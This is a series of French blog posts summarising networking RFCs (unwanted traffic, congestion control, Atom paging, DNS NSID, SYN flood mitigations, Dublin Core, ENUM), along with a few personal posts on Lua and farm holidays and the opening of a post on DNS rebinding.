Ce RFC met à jour le RFC 2554, qui avait introduit cette extension. Il n'apporte pas de changements fondamentaux. Notons par exemple l'arrivée de SASLprep (RFC 4013, pour gérer des noms d'utilisateurs en Unicode).


Téléchargez le RFC 4954


L'article seul

RFC 4948: Report from the IAB workshop on Unwanted Traffic March 9-10, 2006

Date de publication du RFC : Août 2007
Auteur(s) du RFC : L. Andersson (Acreo AB), E. Davies (Folly Consulting), L. Zhang (UCLA)
Pour information
Première rédaction de cet article le 15 septembre 2007


La sécurité sur Internet est un problème très fréquemment mentionné. Rien d'étonnant donc à ce que l'IAB, organisme chargé entre autres de superviser les développements de l'architecture de l'Internet, aie décidé de réunir un certain nombre d'experts pour un séminaire sur « le trafic Internet non désiré ». Ce RFC est le compte-rendu de ce séminaire.

Le séminaire s'est tenu à Marina del Rey en mars 2006 et on peut déplorer l'extrême lenteur que met toujours l'IAB à publier les compte-rendus de ses intéressants séminaires.

De quoi a t-on parlé pendant ce séminaire ? D'abord, la définition de « trafic non désiré » s'est concentrée sur deux phénomènes spécifiques, le spam et les DoS. Ensuite l'IAB note qu'un des messages les plus importants à faire passer est que le trafic non désiré n'est pas seulement produit par quelques adolescents perturbés mais est majoritairement l'œuvre d'entreprises criminelles bien organisées au sein de ce que l'IAB appelle (section 2 et notamment 2.1 du RFC) l'économie souterraine. (Je prends mes distances face à ce terme car je ne suis pas sûr qu'elle soit si souterraine que cela, ni si distincte de l'économie légale. L'utilisation de paradis fiscaux ou de la fraude fiscale n'est pas spécifique à la Mafia. Mais revenons à la sécurité de l'Internet.)

Bref, au revoir l'image du boutonneux qui s'attaque aux serveurs du Pentagone pour impressionner ses copains. Place aux professionnels, qui agissent pour l'argent.

Cette économie souterraine fait que des ressources humaines, financières et techniques importantes sont dédiées aux utilisations illégales de l'Internet. Dans un réseau ouvert, ces utilisations peuvent faire beaucoup de dégâts, d'autant plus que beaucoup d'utilisateurs ne sont pas conscients de l'ampleur des dangers que courent leurs machines. Outre son caractère ouverte et l'absence de traçabilité construite dans le réseau lui-même, l'Internet doit une partie de sa vulnérabilité à son caractère international. On ne peut pas compter sur la police russe pour traquer ceux qui ont attaqué les réseaux informatiques en Estonie puisque ces attaquants agissaient sous la bienveillance de leur propre gouvernement.

Quelles sont les machines participant aux attaques ? Aujourd'hui, ce ne sont que rarement celles appartenant à l'attaquant (section 2.3). Celui-ci se sert plutôt de zombies, des machines piratées et asservies. Le RFC note que la grande majorité des machines connectées à Internet est vulnérable. En partie à cause des faiblesses de Microsoft Windows (que l'IAB minimise par souci du « politiquement correct ») mais aussi parce que ces machines ne sont pas gérées par des professionnels responsables. Même prévenu, il est rare que l'utilisateur d'une machine zombie la nettoie. Les problèmes sont pour les autres, pas pour lui et l'absence de responsabilité crée un terrain favorable pour les recruteurs de zombies.

Notons que le séminaire n'avait pas pour but de trouver une solution magique mais d'étudier le problème. Le compte-rendu est donc souvent balancé, car il n'y a pas de solution parfaite, uniquement des compromis. C'est ainsi que la section 2.4 rappelle que, si on change le réseau pour augmenter la traçabilité, ces nouvelles possibilités de surveillance vont certainement attirer des gens peu recommandables, qui seraient ravis d'utiliser ces nouvelles possibilités pour surveiller les citoyens.

La section 3 est ensuite consacrée à une étude de l'ampleur du problème, pour les différents acteurs, et aux stratégies qu'ils utilisent pour se défendre. C'est là par exemple que l'IAB rappelle que le RFC 2827 (alias BCP 38), qui permettrait de sérieusement limiter l'usurpation d'adresse IP, n'est pratiquement pas déployé aujourd'hui, par suite du manque d'intérêt financier à le faire (la section 4.2.1 détaille également ce problème, où le marché est incapable de déployer une solution qui bénéficierait à tous mais coûterait un peu à chacun).

La section 3.4 concerne les fournisseurs de services DNS. Sa principale recommandation est le déploiement rapide de l'anycast sur les serveurs importants. Notre RFC étant consacré aux trafic non désiré et notamment aux DoS, il n'est pas étonnant que les conseils qu'il donne n'aille pas dans le même sens que ceux des RFC qui se penchent surtout sur l'intégrité des données. Ainsi, DNSSEC est présenté comme un risque plutôt que comme une solution (la section 4.3.2 exprime également une certaine méfiance par rapport à la cryptographie).

La section 4 commence à s'attaquer aux solutions. On notera que plusieurs participants au séminaire ont estimé qu'on avait déjà toutes les solutions techniques nécessaires, le défi était de les déployer. Si le déploiement doit se faire sur les réseaux des grands opérateurs commerciaux, il est freiné par l'absence de retour sur investissement. Si le déploiement doit se faire sur les machines des utilisateurs, il est freiné par la difficulté d'éducation.

Compte-tenu de l'ampleur du problème, ne faut-il pas adopter des mesures drastiques, qui changeraient radicalement le modèle de l'Internet ? C'est par exemple ce que propose le projet « table rase » de l'université de Stanford, qui se propose de refaire complètement l'Internet, autour d'un modèle bien plus fermé où tout devrait être autorisé préalablement. Les sections 4.3.4 et surtout 5.1 sont consacrées à l'examen de telles solutions, qui évoquent le médecin assassinant le malade pour le guérir...

Les présentations faites lors du séminaire sont en partie en ligne, à l'exception de celles qui sont trop sensibles. Un compte-rendu du séminaire, plus court et plus vivant que le RFC, a été fait dans le numéro 70 de l'IETF Journal.


Téléchargez le RFC 4948


L'article seul

Le langage de programmation Lua sur une machine généraliste

Première rédaction de cet article le 11 septembre 2007


Après un petit essai, je ne crois pas que je continuerai à utiliser Lua. En effet, il dispose en standard de moins de possibilités que Python, qui est actuellement mon langage de choix pour les scripts.

Sur le papier, Lua a des forces intéressantes : interpréteur ultra-léger, langage simple et très bonnes performances. Conçu dans un pays du Sud (au Brésil), ce qui est rare pour un langage de programmation, Lua a une communauté réduite mais dynamique et est utilisé pour certains gros projets comme WoW dont il est le principal langage d'extension.

Motivé par la lecture de l'excellent article The evolution of Lua, j'ai essayé Lua pour un petit projet, qui a montré les limites de Lua.

Venant de Python, on est habitué à ce que tout marche dès la sortie de la boite, ce que les Pythoniens appellent l'approche batteries included. Rien de tel sur Lua. Ses mainteneurs sont très soucieux de garder une stricte portabilité, ce qui veut dire que Lua s'en tient à la norme ANSI du langage C. Celle-ci n'offre que très peu de possibilités d'interaction avec le monde extérieur. Sans Posix, une tâche aussi simple que de lister le contenu d'un répertoire nécessite l'installation d'un module extérieur !

En outre, l'absence de support pour Unicode dans Lua était inacceptable pour moi.

Il est clair que Lua, avec son approche minimaliste, vise bien plus le monde de l'« embarqué logiciel » (langage pour scripter des gros programmes) que celui des machines Unix généralistes, disposant de ressources matérielles et logicielles suffisantes pour que Python (ou ses autres concurrents comme Perl) puisse y tourner à l'aise.


L'article seul

RFC 2914: Congestion Control Principles

Date de publication du RFC : Septembre 2000
Auteur(s) du RFC : S. Floyd (ACIRI)
Première rédaction de cet article le 10 septembre 2007


L'Internet ne continue à fonctionner que parce que chaque machine qui y est connectée « fait attention », entre autre parce que les logiciels qui y sont installés essaient d'éviter de congestionner le réseau. Sur quels principes repose ce contrôle de la congestion ?

D'abord, ce contrôle de congestion n'est pas fait par IP (et donc pas par les routeurs) mais dans les protocoles au dessus, TCP étant le plus utilisé. Le contrôle de congestion est donc de bout en bout entre deux machines qui communiquent et n'est pas du ressort du réseau lui-même. Cela le rend très souple et très adapté à l'innovation mais cela met une lourde responsabilité sur chaque machine de l'Internet. Comme discuté dans la section 3.2 du RFC, une machine incivile qui voudrait s'allouer le maximum de bande passante peut le faire. Et, pour l'instant, il n'existe pas de protocoles IETF pour détecter ce comportement (certains travaux de recherche ont eu lieu sur ce sujet).

Le plus gros risque si le contrôle de congestion défaillait, risque décrit dans la section 3.1, ainsi que dans la section 5, est celui d'effondrement : dans un effondrement dû à la congestion, le débit diminue si on augmente le nombre de paquets. Le réseau passe alors tout son temps à tenter de transmettre des paquets qui seront finalement perdus, retransmis, le tout sans bénéfice pour personne. L'Internet est passé plusieurs fois près de l'effondrement (cf. RFC 896, qui était également le premier à pointer le danger des machines inciviles ou boguées, qui ne réagissent pas en cas de congestion) et seule l'amélioration continue des protocoles de transport a permis de continuer la croissance du trafic.

En effet, à partir de 1986, TCP a commencé, notamment sous l'impulsion de Van Jacobson, à prêter sérieusement attention à la congestion (voir le RFC 2001 pour une description a posteriori de cet effort), notamment via le mécanisme de retraite, où l'émetteur cherche s'il y a congestion et ralentit son débit si c'est le cas.

Aujourd'hui, tout flot de données (un flot n'a pas de définition unique et rigoureuse, disons que c'est un ensemble de paquets appartenant au même échange de données, et gérés ensemble, pour ce qui concerne la congestion) doit mettre en œuvre des techniques de détection et de réponse à la congestion. Pour une application utilisant TCP, c'est fait automatiquement dans ce protocole mais une application utilisant UDP doit s'en charger elle-même. (D'autres RFC sont sortis depuis comme le RFC 5681 pour TCP.)

Outre l'effondrement, l'absence de contrôle de congestion présente un autre risque, qui fait l'objet de la section 3.2, le risque d'injustice. Si plusieurs flots se battent pour une bande passante limitée, le risque est que le mauvais citoyen, qui ne diminue pas son débit en cas de congestion, emporte une plus grosse part du gâteau que les autres. Une implémentation de TCP qui se comporterait ainsi pourrait même permettre à son vendeur de prétendre qu'il a un « TCP accéléré ». C'est une méthode analogue, mais au niveau applicatif, qu'avait utilisé le navigateur Web Netscape 1, en ouvrant plusieurs connexions TCP simultanées vers le même serveur HTTP.

La section 6 de notre RFC est ensuite dédiée aux démarches à adopter : avoir un contrôle de congestion est la principale. La section 9, en annexe, décrit plus spécifiquement les responsabilités de TCP. De nombreux RFC (par exemple le RFC 4907), référencent ce document, auquel tous les nouveaux protocoles doivent se conformer. Mais, en 2011, la question du contrôle de la congestion restait toujours largement ouverte, comme le montre le RFC 6077.


Téléchargez le RFC 2914


L'article seul

RFC 5005: Feed Paging and Archiving

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : M. Nottingham
Chemin des normes
Première rédaction de cet article le 8 septembre 2007


Dans la désormais longue série des RFC autour du format Atom, celui-ci spécifie un moyen de récupérer une partie d'un flux de syndication et comment itérer pour avoir le reste du flux.

Atom, normalisé dans le RFC 4287, permet de décrire un flux de syndication, comprenant un certain nombre d'entrées, par exemple des articles d'un blog. Avant ce nouveau RFC, Atom ne permettait pas de récupérer le flux en plusieurs étapes. La plupart des sites Web ne publiaient que les N derniers articles et sans fournir de moyen d'obtenir les autres. Notre RFC change cela : il permet de récupérer des flux par étapes successives (pages feeds) et aussi de récupérer un flux en plusieurs étapes en ayant la garantie que cette récupération inclus toutes les entrées (archived feeds).

Un paged feed est simplement un flux qui contient des liens vers le groupe suivant d'entrées. Par exemple :


   <feed xmlns="http://www.w3.org/2005/Atom">
    <title>Mon flux à moi</title>
    <link href="http://example.org/"/>
    <link rel="self" href="http://example.org/index.atom"/>
    <link rel="next" href="http://example.org/index.atom?page=2"/>
 ...

où ce document, index.atom, contient un lien de type next qui mène au document suivant du flux, index.atom?page=2.

Ce type next, ainsi que d'autres types décrits dans ce RFC comme prev sont enregistrés dans le registre IANA des relations.

Un paged feed n'offre pas de garantie de cohérence. Entre la requête à index.atom et une requête ultérieure à index.atom?page=2, des entrées ont pu être ajoutées et des entrées figurant dans le premier document ont pu « migrer » vers le second. Itérer sur les next peut donc ne donner qu'une partie de la collection d'entrées.

Pour avoir un flux cohérent, il faut utiliser les archived feeds avec les relations next-archive et prev-archive :


   <feed xmlns="http://www.w3.org/2005/Atom"
    xmlns:fh="http://purl.org/syndication/history/1.0">
    <!-- L'espace de noms http://purl.org/syndication/history/1.0 est
    défini dans ce RFC -->
    <title>Mon flux à moi</title>
    <link rel="current" href="http://example.org/index.atom"/>
    <link rel="self" href="http://example.org/2003/11/index.atom"/>
    <fh:archive/>
    <link rel="prev-archive"
     href="http://example.org/2003/10/index.atom"/>
...

Itérer sur prev-archive et next-archive, si ces relations sont présentes, est sûr et garantit de ne perdre aucune entrée.

Notre RFC définit également un troisième type de flux, les complete feeds où la présence de l'élément <fh:complete/> garantit que le flux contient toutes les entrées de la collection.

Désolé, mais ce blog ne met pas encore en œuvre ce RFC et ne fournir donc qu'un flux limité, réduit aux N derniers articles.


Téléchargez le RFC 5005


L'article seul

La base de données Unicode en SQL

Première rédaction de cet article le 7 septembre 2007
Dernière mise à jour le 30 octobre 2007


Unicode est une norme de classification des caractères utilisés pour écrire des textes. L'imagination des humains dans ce domaine étant sans limites, Unicode est une norme de taille importante, et compliquée. Le cœur de la norme Unicode étant une liste de tous les caractères, pour toutes les écritures du monde, mettre cette liste dans une base de données relationnelle simplifie son accès, grâce au langage SQL.


L'article complet

Gîte paysan, des vacances qui me plaisent

Première rédaction de cet article le 5 septembre 2007


C'est sans doute la date qui fait cela, mais je ne vais pas parler d'informatique, mais de vacances. Cela fait plusieurs années que je vais dans des gîtes paysans et c'est l'occasion d'en dire du bien.

Un gîte paysan est un logement dans une ferme, normalement en activité. Il y a de tout dans l'offre existante, parfois, l'activité agricole est minoritaire voire passée, mais les liens avec l'agriculture restent forts. Non seulement on passe ses vacances dans une jolie campagne (j'ai ainsi séjourné en Bretagne, Auvergne, Franche-Comté ou Bourgogne) mais surtout on partage la vie de la ferme, on dit bonjour aux animaux, on parle avec les paysans, on voit un autre visage de la France que les campings ou les usines à touristes. J'aime aussi le fait que, contrairement à l'hôtel, on a une maison à soi, on y prend l'apéritif tranquillement le soir, on peut se lever à n'importe quelle heure (attention toutefois, les travaux de la ferme sont parfois à des heures auxquelles le citadin n'est pas habitué ; un gîte paysan n'est pas un musée, c'est un lieu de travail).

Pour choisir mes lieux de vacances, j'utilise en général le guide d'Accueil Paysan (qui propose aussi d'autres formules que les gîtes).

Et je voudrais finir en remerciant ceux qui m'ont accueilli, moi et ma famille et faire un peu de publicité pour trois gîtes que j'ai beaucoup apprécié, celui de Anne-Marie Griot et Michel Barou dans le Forez (département de la Loire, le Forez est une région de moyenne montagne, très peu connue, à tort), celui de Chantal et Pierre Bourgeois dans le Doubs, très intéressant en été (la plupart des visiteurs ne viennent dans le Jura que pour le ski en hiver) et celui de Josée et Robert Becam dans le Finistère.


L'article seul

RFC 5001: DNS Name Server Identifier Option (NSID)

Date de publication du RFC : Août 2007
Auteur(s) du RFC : R. Austein (ISC)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 1 septembre 2007
Dernière mise à jour le 11 mars 2010


Cette nouvelle option du DNS permet d'identifier le serveur de noms physique auquel on parle, dans le cas où plusieurs machines servent sous la même adresse IP. Elle a vocation à remplacer l'ancien hostname.bind.

En application du cahier des charges du RFC 4892, ce très court RFC normalise une nouvelle utilisation d'EDNS pour transporter une chaîne de bits qui identifie une instance particulière d'un serveur de noms.

Aujourd'hui, en effet, comme l'explique le RFC 4892, il est fréquent qu'un même serveur de noms (par exemple F.root-servers.net, serveur de la racine) soit mis en œuvre par plusieurs machines physiques (des dizaines dans le cas de F.root-servers.net). En cas de défaillance d'une seule de ces machines, il est préférable de pouvoir détecter quelle machine était en cause (voir par exemple la panne de C-root). Cela se faisait autrefois avec le nom spécial hostname.bind (un id.server a été proposé pour être moins lié à BIND). Cette méthode ayant plusieurs inconvénients (là encore, voir le RFC 4892), une nouvelle méthode était nécessaire.

NSID est simplement une option EDNS. Lorsqu'elle est présente dans la requête, le serveur mettra son identité dans la réponse.

En quoi consistera cette identité ? Ce fut le grand et vif débat au sein du groupe de travail dnsext de l'IETF. Certains operateurs de serveurs de noms ne souhaitaient pas en révéler trop, certains souhaitaient mettre de l'Unicode dans la réponse, etc. Le compromis a finalement été de décider que la chaîne de bits mise dans la réponse n'a aucune signification standard. Elle dépend entièrement de l'opérateur. Il pourra mettre un nom de machine (comme on le fait souvent aujourd'hui avec hostname.bind), un identificateur opaque, ou même une valeur différente à chaque fois (la section 3.1 détaille ces possibilités).

Voici une configuration de cette option sur un BIND 9.7 :

options {
    ...
    server-id "My super X-server";
};

et son résultat, lorsque le serveur est interrogé par dig :

% dig +nsid @ns1.example.org SOA example.org
...
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
; NSID: 4d 79 20 73 75 70 65 72 20 58 2d 73 65 72 76 65 72  \
           (M) (y) ( ) (s) (u) (p) (e) (r) ( ) (X) (-) (s) (e) (r) (v) (e) (r)
;; QUESTION SECTION:
...

Comme le contenu du NSID peut être absolument quelconque, dig affiche les valeurs des différents octets (et, pour être sympa, le caractère correspondant à ce code ASCII). Si on met une valeur en UTF-8 :

   server-id "Café-crème";

dig, n'affichera que les caractères ASCII :

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; NSID: 43 61 66 c3 a9 2d 63 72 c3 a8 6d 65  \
          (C) (a) (f) (.) (.) (-) (c) (r) (.) (.) (m) (e)

Avec nsd (depuis la version 3.2.5), la configuration est en hexadécimal (NSD 4 permet de mettre des chaînes ASCII). J'utilise ce petit programme en Python pour faire la traduction. Mais on peut aussi, toujours en Python, faire simplement python -c 'import sys;print sys.stdin.read().encode("hex")' (merci à @alexpigne) ou bien en classique shell Unix, utiliser hexdump avec hexdump -v -e '/1 "%02X"' (merci à @guguscat). Si vous le faites en une ligne de shell, n'oubliez pas le -n en argument à echo. En tout cas, voici un exemple :

% echo -n "ns1.example.net" | hexdump -v -e '/1 "%02X"'      
6E73312E6578616D706C652E6E6574

# nsd.conf
nsid: 6E73312E6578616D706C652E6E6574

Si vous cherchez un exemple réel, les serveurs de l'AFNIC ont NSID :


% dig +nsid @c.nic.fr. SOA fr
...
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; NSID: 64 6e 73 2e 74 68 32 2e 6e 69 63 2e 66 72  (d) (n) (s) (.) (t) (h) (2) (.) (n) (i) (c) (.) (f) (r)

Ici, c'était une machine installée au Telehouse 2 (th2) à Paris. Mais c'est évidemment plus drôle avec une « machine » anycast, essayez depuis plusieurs endroits du réseau avec d.nic.fr. Une telle étude a été faite et publiée. Autre exemple d'utilisation importante de NSID, sur le serveur L-root, décrit dans le RFC 7108.

Si vous voulez avoir une idée de ce qu'implique une mise en œuvre de ce RFC, vous pouvez regarder le « commit » 4cd33c... de GRONG. Voici son utilisation :

% grong-server -servername="ns1.local.bortzmeyer.org"
...
% dig +nsid @::1 nimportequoi
...
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; NSID: 6e 73 31 2e 6c 6f 63 61 6c 2e 62 6f 72 74 7a 6d 65 79 65 72 2e 6f 72 67  \
      (n) (s) (1) (.) (l) (o) (c) (a) (l) (.) (b) (o) (r) (t) (z) (m) (e) (y) (e) (r) (.) (o) (r) (g)
...

Téléchargez le RFC 5001


L'article seul

RFC 4987: TCP SYN Flooding Attacks and Common Mitigations

Date de publication du RFC : Août 2007
Auteur(s) du RFC : W. Eddy (Verizon)
Pour information
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 1 septembre 2007


Curieusement, malgré le nombre d'attaques ayant visé le protocole TCP, aucun RFC n'avait documenté lesdites attaques et les solutions couramment utilisées comme les SYN cookies.

TCP (RFC 793) est de très loin le plus utilisé des protocoles de transport sur Internet. Même les applications qui font passer l'essentiel de leur trafic en UDP comme la téléphonie, dépendent de TCP pour l'établissement et la coupure de la liaison. Une attaque sur TCP a donc typiquement des effets dévastateurs et la première à avoir été largement médiatisée, l'attaque par SYN flooding contre Panix en 1996, a provoqué une prise de conscience. De nombreuses défenses contre les différentes attaques ont été développées dans les années qui ont suivi et ce RFC est le premier à les documenter.

La section 2 de notre RFC décrit en détail le SYN flooding qui consiste à envoyer des paquets de demande d'ouverture de connexion (des paquets SYN) sans jamais répondre aux accusés de réception (packets ACK). Les mises en œuvre typiques de TCP ont un tableau de taille fixe pour leurs connexions TCP et le seul paquet SYN suffit à réserver une case de ce tableau, jusqu'à l'expiration d'un délai qui est typiquement de plusieurs minutes.

Sans avoir besoin de révéler son adresse IP, avec un trafic relativement faible, un attaquant peut donc empêcher la machine cible d'accepter des nouvelles connexions TCP, empêchant ainsi tout service.

Un outil comme hping permet d'automatiser cette attaque, sans que l'attaquant aie même à savoir programmer (non, je ne donnerai pas les détails gratuitement).

La section 3 du RFC s'attaque ensuite aux mesures de défense comme les SYN cookies, qui consiste à ne pas allouer du tout d'état à la réception du paquet SYN, mais à encoder les informations contenues dans ce paquet dans le numéro de séquence TCP initial. La réception du paquet ACK, le deuxième paquet envoyé par le client, permettra de vérifier qu'un SYN avait bien été envoyé et que l'ACK du serveur avait bien été reçu. Cette idée, mise au point par Dan Bernstein, est conforme au principe « ne pas allouer d'état sans authentification » posé dans la section 4.1.1 du RFC 4732.

Les SYN cookies posent quelques problèmes à TCP (décrits dans la section 3.6 du RFC ou, par exemple, dans le manuel sur FreeBSD). C'est pour cela qu'ils ne sont typiquement pas activés par défaut. Par exemple, sur une Debian, il faut les configurer à yes dans le fichier /etc/network/options (qui indique au script de démarrage qu'il doit mettre à jour la variable Linux /proc/sys/net/ipv4/tcp_syncookies).

Aussi, d'autres solutions existent comme le SYN cache, qui alloue un état, mais de petite taille ou comme l'abandon, lorsque la table des connexions en cours est pleine, des connexions non actives les plus anciennes.


Téléchargez le RFC 4987


L'article seul

RFC 5013: The Dublin Core Metadata Element Set

Date de publication du RFC : Août 2007
Auteur(s) du RFC : J. Kunze (University of California) , T. Baker (Dublin Core Metadata Initiative)
Pour information
Première rédaction de cet article le 1 septembre 2007
Dernière mise à jour le 21 septembre 2007


Mise à jour, voici la liste des éléments qui forment le fameux Dublin Core, un ensemble d'éléments pour créer des métadonnées, notamment sur les ressources Web.

Dublin Core, qui doit son nom à la ville de Dublin, où s'est tenue la réunion fondatrice, est un jeu de quinze éléments, qui permettent d'attribuer des métadonnées à une ressource, typiquement un fichier accessible via le Web.

Ces quinze éléments comprennent, entre autres :

  • title, le titre de la ressource,
  • identifier, un identificateur unique pour la ressource,
  • date, la date de publication de la ressource,
  • language, la langue de la ressource,
  • etc.

On notera que Dublin Core ne spécifie pas de sémantique rigoureuse pour ces éléments. C'est volontaire, afin de donner le maximum de liberté à ceux qui définissent ces métadonnées. Le RFC se contente de donner des conseils, comme d'utiliser un « système d'identificateurs formels » pour l'élément identifier.

De même, la syntaxe n'est pas spécifiée, uniquement conseillée. Ainsi, le RFC suggère d'utiliser les étiquettes de langue du RFC 4646 pour language ou bien ISO 8601 pour les dates.

De même, la façon dont se représentent les éléments Dublin Core dans la ressource n'est pas précisée dans ce RFC. Elle dépend en effet du format de cette dernière. On peut trouver une liste de techniques en http://dublincore.org/resources/expressions/ et un exemple pour HTML en http://dublincore.org/documents/2008/08/04/dc-html/.

Dublin Core avait été à l'origine normalisé dans le RFC 2413, auquel notre RFC succède. Il n'y a pas de changement radical entre les deux RFC. Il existe aussi une norme ISO sur Dublin Core, la 15836 mais, comme elle n'est pas publique, le RFC est une meilleure source.

Très peu de pages Web publient du Dublin Core aujourd'hui. Sur ce blog, par exemple, vous n'en trouverez pas dans les pages HTML mais il y en a dans le flux de syndication Atom. En voici un extrait :


<feed xml:lang="fr" xmlns="http://www.w3.org/2005/Atom" 
                    xmlns:html="http://www.w3.org/1999/xhtml"
                    xmlns:dublincore="http://purl.org/dc/elements/1.1/">
<!-- See for discussions about the relationship between Atom and Dublin Core 
     and why Atom does not use Dublin Core:
  http://internetalchemy.org/2004/03/theNucleusOfAtom 
  http://www.imc.org/atom-syntax/mail-archive/msg03170.html
  http://www.imc.org/atom-syntax/mail-archive/msg04474.html
  http://bitworking.org/news/Not_Invented_Here
-->
...
<dublincore:title>Blog de Stéphane Bortzmeyer</dublincore:title>
<dublincore:language>fr</dublincore:language> 
<dublincore:identifier>tag:bortzmeyer.org,2006-02:Blog/</dublincore:identifier>
<dublincore:date>2007-07-05T16:35:00Z</dublincore:date>
...

Autre exemple, le logiciel libre de dessin Inkscape permet d'associer des métadonnées Dublin Core à un document. Comme son format natif de stockage est SVG, Inkscape, logiquement, les exprime en XML dans l'espace de nommage Dublin Core (notons aussi l'utilisation des schémas de Creative Commons) :


<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://web.resource.org/cc/"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
...
  <metadata>
    <rdf:RDF>
        <dc:format>image/svg+xml</dc:format>
        <dc:type
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
        <dc:title>Forces Architecture</dc:title>
        <dc:date>2007-09-21</dc:date>
        <dc:creator>
          <cc:Agent>
            <dc:title>Stéphane Bortzmeyer</dc:title>
          </cc:Agent>
        </dc:creator>
        <dc:rights>
          <cc:Agent>
            <dc:title>GFDL</dc:title>
          </cc:Agent>
        </dc:rights>
        <dc:language>fr</dc:language>
        <cc:license
           rdf:resource="gfdl" />
      </cc:Work>
    </rdf:RDF>
  </metadata>


Voici quelques autres exemples d'utilisation aujourd'hui :

  • L'Open Archive Initiative, protocole d'échanges de métadonnées entre des réservoirs d'articles scientifique en libre accès utilise entre autres le Dublin Core.
  • TEF (Thèses Electroniques Françaises) pour la description des thèses.
  • L'excellent projet revues.org d'édition électronique en sciences sociales.
  • L'École des chartes.

C'est mince par rapport aux ambitions anciennes des systèmes de métadonnées.

De même, je ne connais pas de logiciel public (par exemple de moteur de recherche) qui puisse utiliser le Dublin Core. Les seuls cas existants sont dans des mondes plus fermés comme celui d'In-extenso, un moteur de recherche spécialisé en sciences humaines et sociales.

En dépit de gros efforts de sensibilisation, les métadonnées restent les grandes absentes du Web. Pour quelles raisons ? Outre les raisons spécifiques à Dublin Core, comme le fait que beaucoup d'éléments Dublin Core font double emploi avec des éléments existants (<title> ou l'attribut lang en HTML, les mêmes plus <published> ou <author> en Atom), je vois deux raisons communes à toutes les métadonnées.

L'une est que les moteurs de recherche ont appris à se méfier des informations mises par l'auteur de la page Web. Soit il est peu soigneux, soit il triche en mettant des mots-clés susceptibles de lui attirer du trafic.

L'autre est un problème d'œuf et de poule classique. Les moteurs de recherche n'utilisent pas les métadonnées, donc les auteurs n'en mettent pas, donc les moteurs ne les utilisent pas...

Merci à Gautier Poupeau pour ses nombreuses informations.


Téléchargez le RFC 5013


L'article seul

RFC 3761: The E.164 to Uniform Resource Identifiers (URI) Dynamic Delegation Discovery System (DDDS) Application (ENUM)

Date de publication du RFC : Avril 2004
Auteur(s) du RFC : P. Faltstrom (Cisco), M. Mealling (Verisign)
Chemin des normes
Première rédaction de cet article le 9 août 2007


ENUM est un mécanisme pour faire correspondre des valeurs à un numéro de téléphone, en passant par un nom de domaine et le DNS. Cela peut servir, par exemple, à permettre à de vieux postes téléphoniques de joindre des nouveaux services accessibles normalement via un URL SIP. Il est désormais normalisé dans le RFC 6116, dont notre RFC 3761 était un prédecesseur.

Le point de départ d'ENUM est d'utiliser comme identificateur principal un numéro de téléphone, au format E.164. Cet identificateur est pénible à utiliser pour un humain, car non mémorisable et est probablement amené à disparaitre dans le futur, au profit d'URL par exemple sip:stephane@bortzmeyer.org.

En attendant, un certain nombre d'équipements, par exemple les vieux postes téléphoniques, ne savent utiliser que des numéros de téléphone et ENUM permet de prolonger leur durée de vie en mettant en correspondance les numéros qu'ils composent avec des ressources modernes, comme SIP.

ENUM utilise pour cela le mécanisme DDDS décrit dans le RFC 3403, avec les enregistrements de type NAPTR. L'algorithme est décrit dans la section 2.4 du RFC. Si le numéro de téléphone est +33 1 38 30 83 00, il est transformé dans le nom de domaine 0.0.3.8.0.3.8.3.1.3.3.e164.arpa. (Le domaine e164.arpa est donc l'équivalent pour les numéros de téléphone de in-addr.arpa pour les adresses IPv4, et il est délégué au RIPE-NCC.)

Une requête DNS de ce nom donne alors des ressources, par exemple (l'option "u" indique la fin de l'algorithme NAPTR, cf. RFC 3404) :

0.0.3.8.0.3.8.3.1.3.3.e164.arpa.   NAPTR 10  100  "u"   "E2U+sip" "!^.*$!sip:info@afnic.fr" . 
              NAPTR 10  110  "u"   "E2U+msg" "!^.*$!mailto:info@afnic.fr" . 

qui indiquent que deux ressources, identifiées par leurs URL, correspondent à ce numéro. Ces ressources sont un accès SIP et un accès par courrier électronique. Si le vieux poste téléphonique cité en exemple est connecté à un autocommutateur ENUM (par exemple Asterisk), l'appel vers +33 1 38 30 83 00 sera automatiquement routé vers l'accès SIP sip:info@afnic.fr (l'accès par courrier ayant une préférence moins forte).

L'enregistrement direct de numéros de téléphone dans le DNS par leurs titulaires (ce qu'on nomme User ENUM par opposition à l'Infrastructure ENUM qui est réservé aux opérateurs) n'est pour l'instant possible que dans peu de pays (par exemple l'Allemagne) et n'a pas été un grand succès (en partie sans doute parce que tout le monde préfère un URL à un numéro de téléphone). En France, le 3.3.e164.arpa est actuellement délégué à l'AFNIC (Tier 1 en terminologie ENUM) mais pas ouvert à l'enregistrement (l'ARCEP a demandé à ce qu'elle soit seule responsable d'ENUM en France - voir « la page du gouvernement » - et l'ouverture d'un service User ENUM pose toujours de délicates questions liées à la portabilité du numéro, à la sécurité et à la protection des données personnelles).


Téléchargez le RFC 3761


L'article seul

Changement d'adresses IP dans le DNS et sécurité du Web

Première rédaction de cet article le 8 août 2007


Un récent intérêt pour un problème de sécurité des navigateurs Web a porté sur leur relation au DNS. Qu'est-ce que le changement (rebinding) et le DNS est-il responsable de cette faille ?

L'article Protecting Browsers from DNS Rebinding Attacks, ainsi qu'une démonstration à grand spectacle à la conférence Black Hat ont suscité un intérêt médiatique marqué. Qu'y a t-il dans cet article ? Pour le comprendre, je me permets un petit détour sur le modèle de sécurité d'un navigateur Web typique.

Un navigateur comme Firefox ou Internet Explorer peut charger des ressources contenant du code à exécuter, par exemple des scripts Javascript ou bien des animations tape-à-l'œil en Flash. Ces codes « étrangers » n'ont normalement que des privilèges limités. Par exemple, un script Javascript peut faire des connexions réseau mais uniquement vers le serveur d'où il vient. Et c'est là le nœud du problème : comment savoir si la machine à laquelle parle le script est la même que celle d'où vient le script ? Que veut dire « la même machine » ? Le même nom de domaine ? La même adresse IP ? La même « identité », vérifiée par exemple avec une clé cryptographique comme le font SSH ou bien HIP ?

